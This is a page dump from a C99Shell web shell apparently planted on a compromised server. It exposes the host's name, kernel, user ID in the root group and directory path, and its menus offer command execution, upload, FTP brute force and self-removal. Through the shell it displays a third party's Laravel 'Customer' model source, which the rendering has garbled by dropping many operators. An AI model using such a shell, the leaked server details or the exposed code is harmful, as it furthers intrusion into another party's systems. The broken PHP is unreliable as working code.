!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Customer.php (9.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Foundation\Auth\User as Authenticatable;
use 
Illuminate\Notifications\Notifiable;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\DB;
use 
Spatie\Permission\Traits\HasRoles;

class 
Customer extends Authenticatable
{
    use 
HasRoles;
    use 
Notifiable;

    protected 
$guard_name 'web';

    protected 
$fillable = [
        
'customer_id',
        
'name',
        
'email',
        
'password',
        
'contact',
        
'avatar',
        
'is_active',
        
'created_by',
        
'email_verified_at',
        
'billing_name',
        
'billing_country',
        
'billing_state',
        
'billing_city',
        
'billing_phone',
        
'billing_zip',
        
'billing_address',
        
'shipping_name',
        
'shipping_country',
        
'shipping_state',
        
'shipping_city',
        
'shipping_phone',
        
'shipping_zip',
        
'shipping_address',
    ];

    protected 
$hidden = [
        
'password',
        
'remember_token',
    ];


    public 
$settings;


    public function 
authId()
    {
        return 
$this->id;
    }

    public function 
creatorId()
    {
        if(
$this->type == 'company' || $this->type == 'super admin')
        {
            return 
$this->id;
        }
        else
        {
            return 
$this->created_by;
        }
    }

    public function 
currentLanguage()
    {
        return 
$this->lang;
    }

    public function 
priceFormat($price)
    {
        
$settings Utility::settings();

        return ((
$settings['site_currency_symbol_position'] == "pre") ? $settings['site_currency_symbol'] : '') . number_format($priceUtility::getValByName('decimal_number')) . (($settings['site_currency_symbol_position'] == "post") ? $settings['site_currency_symbol'] : '');
    }

    public function 
currencySymbol()
    {
        
$settings Utility::settings();

        return 
$settings['site_currency_symbol'];
    }

    public function 
dateFormat($date)
    {
        
$settings Utility::settings();

        return 
date($settings['site_date_format'], strtotime($date));
    }

    public function 
timeFormat($time)
    {
        
$settings Utility::settings();

        return 
date($settings['site_time_format'], strtotime($time));
    }

    public function 
invoiceNumberFormat($number)
    {
        
$settings Utility::settings();

        return 
$settings["invoice_prefix"] . sprintf("%05d"$number);
    }

    public function 
proposalNumberFormat($number)
    {
        
$settings Utility::settings();

        return 
$settings["proposal_prefix"] . sprintf("%05d"$number);
    }

    public function 
invoiceChartData()
    {
        
$month[]       = __('January');
        
$month[]       = __('February');
        
$month[]       = __('March');
        
$month[]       = __('April');
        
$month[]       = __('May');
        
$month[]       = __('June');
        
$month[]       = __('July');
        
$month[]       = __('August');
        
$month[]       = __('September');
        
$month[]       = __('October');
        
$month[]       = __('November');
        
$month[]       = __('December');
        
$data['month'] = $month;

        
$data['currentYear'] = date('M-Y');

        
$totalInvoice Invoice::where('customer_id'\Auth::user()->id)->count();
        
$unpaidArr    = array();


        for(
$i 1$i <= 12$i++)
        {
            
$unpaidInvoice  Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->whereRaw('month(`send_date`) = ?'$i)->where('status''1')->where('due_date''>'date('Y-m-d'))->get();
            
$paidInvoice    Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->whereRaw('month(`send_date`) = ?'$i)->where('status''4')->get();
            
$partialInvoice Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->whereRaw('month(`send_date`) = ?'$i)->where('status''3')->get();
            
$dueInvoice     Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->whereRaw('month(`send_date`) = ?'$i)->where('status''1')->where('due_date''<'date('Y-m-d'))->get();


            
$totalUnpaid 0;
            for(
$j 0$j count($unpaidInvoice); $j++)
            {
                
$unpaidAmount $unpaidInvoice[$j]->getDue();
                
$totalUnpaid  += $unpaidAmount;

            }

            
$totalPaid 0;
            for(
$j 0$j count($paidInvoice); $j++)
            {
                
$paidAmount $paidInvoice[$j]->getTotal();
                
$totalPaid  += $paidAmount;

            }

            
$totalPartial 0;
            for(
$j 0$j count($partialInvoice); $j++)
            {
                
$partialAmount $partialInvoice[$j]->getDue();
                
$totalPartial  += $partialAmount;

            }

            
$totalDue 0;
            for(
$j 0$j count($dueInvoice); $j++)
            {
                
$dueAmount $dueInvoice[$j]->getDue();
                
$totalDue  += $dueAmount;

            }

            
$unpaidData[]  = $totalUnpaid;
            
$paidData[]    = $totalPaid;
            
$partialData[] = $totalPartial;
            
$dueData[]     = $totalDue;

            
$statusData['unpaid']  = $unpaidData;
            
$statusData['paid']    = $paidData;
            
$statusData['partial'] = $partialData;
            
$statusData['due']     = $dueData;
        }

        
$data['data'] = $statusData;


        
$unpaidInvoice  Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->where('status''1')->where('due_date''>'date('Y-m-d'))->get();
        
$paidInvoice    Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->where('status''4')->get();
        
$partialInvoice Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->where('status''3')->get();
        
$dueInvoice     Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->where('status''1')->where('due_date''<'date('Y-m-d'))->get();

        
$progressData['totalInvoice']        = $totalInvoice Invoice:: where('customer_id'\Auth::user()->id)->whereRaw('year(`send_date`) = ?', array(date('Y')))->count();
        
$progressData['totalUnpaidInvoice']  = $totalUnpaidInvoice count($unpaidInvoice);
        
$progressData['totalPaidInvoice']    = $totalPaidInvoice count($paidInvoice);
        
$progressData['totalPartialInvoice'] = $totalPartialInvoice count($partialInvoice);
        
$progressData['totalDueInvoice']     = $totalDueInvoice count($dueInvoice);

        
$progressData['unpaidPr']  = ($totalInvoice != 0) ? ($totalUnpaidInvoice 100) / $totalInvoice 0;
        
$progressData['paidPr']    = ($totalInvoice != 0) ? ($totalPaidInvoice 100) / $totalInvoice 0;
        
$progressData['partialPr'] = ($totalInvoice != 0) ? ($totalPartialInvoice 100) / $totalInvoice 0;
        
$progressData['duePr']     = ($totalInvoice != 0) ? ($totalDueInvoice 100) / $totalInvoice 0;

        
$progressData['unpaidColor']  = '#fc544b';
        
$progressData['paidColor']    = '#63ed7a';
        
$progressData['partialColor'] = '#6777ef';
        
$progressData['dueColor']     = '#ffa426';

        
$data['progressData'] = $progressData;


        return 
$data;
    }


    public function 
customerInvoice($customerId)
    {
        
$invoices  Invoice:: where('customer_id'$customerId)->orderBy('issue_date''desc')->get();

        return 
$invoices;
    }

    public function 
customerProposal($customerId)
    {
        
$proposals Proposal:: where('customer_id'$customerId)->orderBy('issue_date''desc')->get();

        return 
$proposals;
    }

    public function 
customerOverdue($customerId)
    {
        
$dueInvoices Invoice:: where('customer_id'$customerId)->whereNotIn(
            
'status', [
                        
'0',
                        
'4',
                    ]
        )->
where('due_date''<'date('Y-m-d'))->get();
        
$due         0;
        foreach(
$dueInvoices as $invoice)
        {
            
$due += $invoice->getDue();
        }

        return 
$due;
    }

    public function 
invoices()
    {
        return 
$this->hasMany(Invoice::class, 'customer_id');
    }

    public function 
customerTotalInvoiceSum($customerId)
    {
        return 
$this->invoices()
            ->
with('items'
            ->
get()
            ->
sum->getTotal();
    }

    
// public function customerTotalInvoiceSum($customerId)
    // {
    //     $invoices = Invoice:: where('customer_id', $customerId)->get();
    //     $total    = 0;
    //     foreach($invoices as $invoice)
    //     {
    //         $total += $invoice->getTotal();
    //     }

    //     return $total;
    // }
    
public function customerTotalInvoice($customerId)
    {
        
$invoices Invoice:: where('customer_id'$customerId)->count();

        return 
$invoices;
    }

    public static function 
customer_id($customer_name)
    {
        
$customer DB::table('customers')
        ->
where('name'$customer_name)
        ->
where('created_by'Auth::user()->creatorId())
        ->
select('id')
        ->
first();

        return (
$customer != null) ? $customer->id 0;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0158 ]--